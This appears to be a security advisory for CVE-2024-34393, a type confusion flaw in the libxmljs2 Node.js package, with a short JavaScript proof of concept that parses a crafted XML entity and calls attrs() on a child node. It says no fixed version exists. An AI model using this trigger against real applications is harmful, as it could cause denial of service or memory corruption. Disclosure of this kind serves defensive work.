libxmljs2 is a libxml bindings for v8 javascript engine
Affected versions of this package are vulnerable to Type Confusion due to the improper handling of a specially crafted XML file. An attacker can cause a denial of service, data leak, infinite loop, or execute arbitrary code by invoking a function on the result of attrs() that was called on a parsed node.
PoC
const libxmljs2 = require('libxmljs2');
var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer `" + 'A'.repeat(0x1234) + `">
]>
<from>&writer;</from>
`;
t = libxmljs2.parseXml(d, {flags: [libxmljs2.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()
Detailed paths
Overview
libxmljs2 is a libxml bindings for v8 javascript engine
Affected versions of this package are vulnerable to Type Confusion due to the improper handling of a specially crafted XML file. An attacker can cause a denial of service, data leak, infinite loop, or execute arbitrary code by invoking a function on the result of
attrs()that was called on a parsed node.PoC
Remediation
There is no fixed version for
libxmljs2.References
SNYK-JS-LIBXMLJS2-6808810
(CVE-2024-34393) libxmljs2@0.26.7